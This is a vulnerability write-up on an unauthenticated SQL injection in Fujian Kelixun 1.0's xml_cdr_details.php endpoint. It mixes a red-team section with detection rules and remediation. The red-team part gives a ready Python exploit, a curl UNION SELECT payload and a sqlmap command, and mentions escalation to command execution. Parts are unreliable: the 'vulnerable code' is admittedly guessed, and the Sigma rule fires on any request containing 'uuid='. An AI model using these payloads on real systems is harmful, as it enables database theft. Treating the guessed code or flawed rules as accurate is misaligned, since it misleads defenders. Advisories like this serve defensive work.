CVE-2025-5107

Executive Summary

CVE-2025-5107 is a critical unauthenticated SQL injection vulnerability in Fujian Kelixun 1.0, specifically in the /app/xml_cdr/xml_cdr_details.php endpoint. The uuid parameter is directly concatenated into SQL queries without sanitization, allowing remote attackers to extract, modify, or delete database contents. The vendor has not responded to disclosure, leaving all instances unpatched. Public exploit code exists, increasing the risk of mass exploitation.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP application (Fujian Kelixun). No supply chain implications.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. Public exploit, no patch, remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability resides in /app/xml_cdr/xml_cdr_details.php. The uuid GET parameter is passed directly into a SQL query without parameterization or escaping. An attacker can inject arbitrary SQL commands, such as ' OR '1'='1 or UNION-based payloads, to dump the database.

Root Cause: Lack of input validation and prepared statements. The code likely uses $_GET['uuid'] directly in a mysql_query() or mysqli_query() call.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to /app/xml_cdr/xml_cdr_details.php?uuid=' UNION SELECT ...
2. The SQL injection payload executes, returning sensitive data (e.g., admin credentials, call records).
3. Attacker can escalate to file inclusion or OS command execution if the database user has FILE privileges.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$uuid = $_GET['uuid'];
$query = "SELECT * FROM cdr WHERE uuid = '$uuid'";
$result = mysql_query($query);
?>

Patched Code (PHP):

<?php
$uuid = $_GET['uuid'];
$stmt = $pdo->prepare("SELECT * FROM cdr WHERE uuid = :uuid");
$stmt->execute([':uuid' => $uuid]);
$result = $stmt->fetchAll();
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Fujian Kelixun 1.0
• Network access to the web interface

Exploit (Python):

import requests

target = "http://target.com/app/xml_cdr/xml_cdr_details.php"
payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -"
params = {"uuid": payload}
r = requests.get(target, params=params)
print(r.text)

Manual Exploit (cURL):

curl "http://target.com/app/xml_cdr/xml_cdr_details.php?uuid=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--%20-"

SQLMap Automation:

sqlmap -u "http://target.com/app/xml_cdr/xml_cdr_details.php?uuid=1" --batch --dbs

Blue Team

Detection:

• Monitor for abnormal uuid parameter values containing SQL keywords (UNION, SELECT, OR, --).
• Deploy WAF rules to block SQL injection patterns.
• Enable database query logging to detect suspicious queries.

Honeypot:

• Set up a decoy endpoint /app/xml_cdr/xml_cdr_details.php that logs all requests and alerts on SQL injection attempts.

Indicators of Compromise (IOCs)

• Network:

  • HTTP GET requests to /app/xml_cdr/xml_cdr_details.php with uuid parameter containing SQL metacharacters (', --, UNION, SELECT).
  • Outbound database connections from the web server to unknown IPs (data exfiltration).

• File System:

  • Unexpected files in /tmp/ or web root (e.g., .txt, .php shells).
  • Modified .htaccess or index.php files.

• Logs:

  • Web server logs showing 400 or 500 errors on the vulnerable endpoint.
  • Database logs with UNION SELECT or OR 1=1 statements.

Detection Engineering

YARA Rule

rule CVE_2025_5107_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-5107"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-5107"
    strings:
        $s1 = "uuid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "--" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-5107 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against /app/xml_cdr/xml_cdr_details.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "uuid="
            - "UNION"
            - "SELECT"
            - "OR"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of UUIDs containing "OR" (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5107 SQL Injection Attempt"; flow:to_server; content:"/app/xml_cdr/xml_cdr_details.php"; http_uri; content:"uuid="; http_uri; pcre:"/(UNION|SELECT|OR|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply WAF rules to block SQL injection patterns (e.g., ModSecurity CRS).
3. Restrict database user privileges (remove FILE, CREATE, DROP).

Long-Term Fix:

• Rewrite the vulnerable PHP file using prepared statements (PDO or MySQLi).
• Implement input validation (allow only UUID format: ^[a-f0-9\-]{36}$).
• Upgrade to a patched version if the vendor releases one.

Workaround:

• Disable the /app/xml_cdr/ directory via .htaccess:

RewriteRule ^app/xml_cdr/ - [F,L]

Valters IT